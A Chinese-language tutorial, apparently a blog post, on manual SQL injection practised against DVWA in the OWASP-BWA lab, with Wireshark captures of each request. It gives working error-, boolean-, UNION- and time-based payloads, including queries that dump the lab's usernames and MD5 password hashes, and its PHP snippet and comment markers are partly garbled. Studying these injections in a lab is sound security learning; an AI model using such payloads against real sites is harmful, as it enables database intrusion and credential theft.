上一文《SQL注入原理—Web渗透学习》主要罗列了SQL注入的危害、SQL注入的主要方式及SQL注入主要关注的数据库infromation_schema库。重点讲了infromation_schema数据库,其本质是保存着数据库服务器中所有数据库信息,主要包含了该服务器包括了哪些数据库(schemata表),各个数据库中都包含了那些表格(tables表—其中table_schema列保存数据库名称,table_name列保存对应数据库的表格名称),及每个表格中的表头信息(column表—table_schema列和table_name列与tables表格中一致,column_name列保存对应表格中的表头名)。
SQL注入的流程:
1.判断是否有SQL注入漏洞;
2.判断操作系统、数据库和web应用的类型;
3.获取数据库信息,包括管理员权限和拖库;
本文主要学习手动SQL注入,学习的目的是更加深刻的理解SQL注入的基本原理,并通过抓取数据包的方式分析输入内容,从而思考关于SQL注入的预防。
在上一文中已经提到了SQL注入的包括的五种主要方式,现通过实验意义实现,从而加深理解:
声明:本文所有代码和实验均是基于owasp-bwa项目
1.基于错误的注入;
顾名思义,就是输入非系统要求的内容,从而使系统无法按照正确的逻辑顺序执行,暴露出错误信息,黑客从而知晓该处存在SQL注入点。
系统要求输入id号,我们故意输入其他内容比如:’ qw 或 ’ 1,当输入这次结果,系统返回错误提示如下:
这说明系统接受了我们输入的数据(即对用户输入没有过滤和帅选),并进行了加载运行,说明该处存在SQL注入点。
为什么举得例子都包含了一个单引号?
看后台代码(正常情况下是看不到的):
' . mysql_error() . '
' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . ''; $i++; } } ?>
First name: ' . $first . '
Surname: ' . $last; echo '
代码解读:
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
用户输入的信息被赋值给变量id,然后将该变量赋值给user_id,并在users表中查询user_id=id的first_name,last_name值赋值给getid。
SQL语句的特点:
将输入的’ 1带入到该查询语句中:
SELECT first_name, last_name FROM users WHERE user_id = ' ' 1 ';
此时user_id = ’ ‘,也就是说单引号后面输入任何内容都不会影响变量user_id的赋值。专业术语成为语句闭合,即输入的第一个单引号 ’ 用于闭合该变量。
这个在SQL注入中很关键。
2.基于布尔的注入
布尔的意思就是非真既假
原理:闭合系统的SQL注入语句,构造or 或and的逻辑语句,并注释掉系统后面的多余语句。
MYSQL的语句注释使用两个单横线号“–”,并且注释号后面输入内容需用空格隔开。
按照以上要求我们构造自己的布尔注入语句:’ or 2=2 – (两个横杠-,且后面有空格);
注意–后必须跟空格,不然SQL语句无法将其理解为注释号,会报语法错误。
将我们构造的布尔注入语句带入到后台代码(实际我们是看不到的)的查询语句中:
SELECT first_name, last_name FROM users WHERE user_id = ' ' or 2=2 -- ';
解读where后的查询条件:
user_id=’ ’ or 2=2 – (两个横杠-,且后面有空格);’;
第一个’ 用于闭合前面的条件;
or 2=2 为真条件;
– 是该select语句的注释部分,不被执行,即注释掉后面的一切。
user_id = ‘’ or 2=2 等价于 user_id=’’ or 1,不论user_id是否真假(即在第一个单引号前面可以填写任何内容),where语句始终为真。实际执行的语句变为了:
SELECT first_name, last_name FROM users;
显示结果如下:
wireshark数据包分析:
上图中可以看出GET后面id = %27+or+2%3D2±-+%27,or这个关键字,是否就说明了存在布尔注入?或者将id后的进行翻译后识别,应该是能够确定是否存在布尔注入的。
3.基于UNION的注入
上一文中讲了information_schema数据库,其主要是为union注入服务的。可见union注入的重要性和关键性。
仍然按照布尔注入的要求来构造自己的union注入语句,格式如下:
’ union selecte … – (两个横杠-,且后面有空格);’
在此不再对上面的解释过多的进行解释,本次主要说一下最后的 – (两个横杠-,且后面有空格);’,其实在-- (两个横杠-)后面输入什么都是一样的,但必须有一个空格跟着后面,为了不会忘记这个空格或者看起来更加完整在最后再加一个单引号。
union语句,联合查询,完整的格式是:
select A1,A2,A3 from D1 where X1 union select B1,B2,B3 from E1 where Y1;
要求:B的个数必须和A的个数保持一致,如果不一致会报语法错误。
我们无法知道A的个数,但是我们可以通过阿拉伯数据进行探测。
探测语句:
'union select 1 -- '
'union select 1,2 -- '
......
'union select 1,2,3,4,5 -- '
测试1.
显示结果(正常情况下一般不会显示):
wireshar数据包分析:
关注的仍然是GET后id=%27union+select+1±-+%27&Submit=Submit,其中union表明其使用了联合注入。
测试2.
显示结果:
不管结果显示是什么,说明有两个A。所以后面也只能有两个B。我们可以通过concat显示多个。
使用union查询information_schema数据库的相关信息:
3.1.查询该数据库服务器包含了哪些数据库及数据库包含有哪些表格:
'union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema -- '
ID: 'union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema -- '
First name: dvwa
Surname: users,guestbook
ID: 'union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema -- '
First name: information_schema
Surname: COLUMN_PRIVILEGES,PARTITIONS,SCHEMA_PRIVILEGES,TRIGGERS,COLUMNS,KEY_COLUMN_USAGE,
SCHEMATA,TABLE_PRIVILEGES,COLLATION_CHARACTER_SET_APPLICABILITY,GLOBAL_VARIABLES,
ROUTINES,TABLE_CONSTRAINTS,COLLATIONS,GLOBAL_STATUS,REFERENTIAL_CONSTRAINTS,TABLES,
CHARACTER_SETS,FILES,PROFILING,STATISTICS,EVENTS,PROCESSLIST,SESSION_VARIABLES,VIEWS,
ENGINES,PLU
我们只看到infromation_schema和dvwa两个数据库,其中dvwa下有users和guestbook两个表格。
3.2.查询dvwa数据库中users表格的表头信息:
语句:
'union select table_name,group_concat(column_name) from information_schema.columns where table_schema="dvwa" and table_name= "users" group by table_name -- '
ID: 'union select table_name,group_concat(column_name) from information_schema.columns where table_schema="dvwa" and table_name= "users" group by table_name -- '
First name: users
Surname: user_id,first_name,last_name,user,password,avatar
users表格中的表头信息有:
user_id,first_name,last_name,user,password,avatar(头像)。
上面显示的First name和Surname对应的table_name和column_name。
3.3.查询users表格中的信息:
语句:
'union select user_id,concat(first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
ID: 'union select user_id,concat(first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
First name: 1
Surname: admin - admin - admin - 21232f297a57a5a743894a0e4a801fc3 - http://127.0.0.1/dvwa/hackable/users/admin.jpg
ID: 'union select user_id,concat(first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
First name: 2
Surname: Gordon - Brown - gordonb - e99a18c428cb38d5f260853678922e03 - http://127.0.0.1/dvwa/hackable/users/gordonb.jpg
ID: 'union select user_id,concat(first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
First name: 3
Surname: Hack - Me - 1337 - 8d3533d75ae2c3966d7e0d4fcc69216b - http://127.0.0.1/dvwa/hackable/users/1337.jpg
ID: 'union select user_id,concat(first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
First name: 4
Surname: Pablo - Picasso - pablo - 0d107d09f5bbe40cade3de5c71e9e9b7 - http://127.0.0.1/dvwa/hackable/users/pablo.jpg
ID: 'union select user_id,concat(first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
First name: 5
Surname: Bob - Smith - smithy - 5f4dcc3b5aa765d61d8327deb882cf99 - http://127.0.0.1/dvwa/hackable/users/smithy.jpg
ID: 'union select user_id,concat(first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
First name: 6
Surname: user - user - user - ee11cbb19052e40b07aac0ca060c23ee - http://127.0.0.1/dvwa/hackable/users/1337.jpg
这样我们就看到了dvwa数据库中users表格的所有信息,包括用户名、密码等关键信息。
wireshark数据包分析:
关注的仍然是GET后id=%27union+select+user_id%2Cconcat%28first_name%2C%27±+%27%2Clast_name%2C%27±+%27%2Cuser%2C%27±+%27%2Cpassword%2C%27±+%27%2Cavatar%29++from+dvwa.users±-+%27&Submit=Submit,其中union表明其使用了联合注入,而且还有user_id,first_name,password等关键信息。
4.基于时间的注入
基于时间的盲(Blind)注
构造语句:
’ and sleep(25) – ’
网页标签在打转,表示有注入的漏洞。
wireshark数据包分析:
关注的仍然是GET后id=%27+and+sleep%2825%29±-+%27&Submit=Submit
关键字and和sleep都很明显。
后面可以研究一下POST请求是否可能会不一样。
再回头看一下当用户按照要求输入正确信息时的url:
http://172.16.238.135/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
上面所有的注入测试都是在id=1这个点进行的。
下一节会讲自动化SQL注入:SQLMAP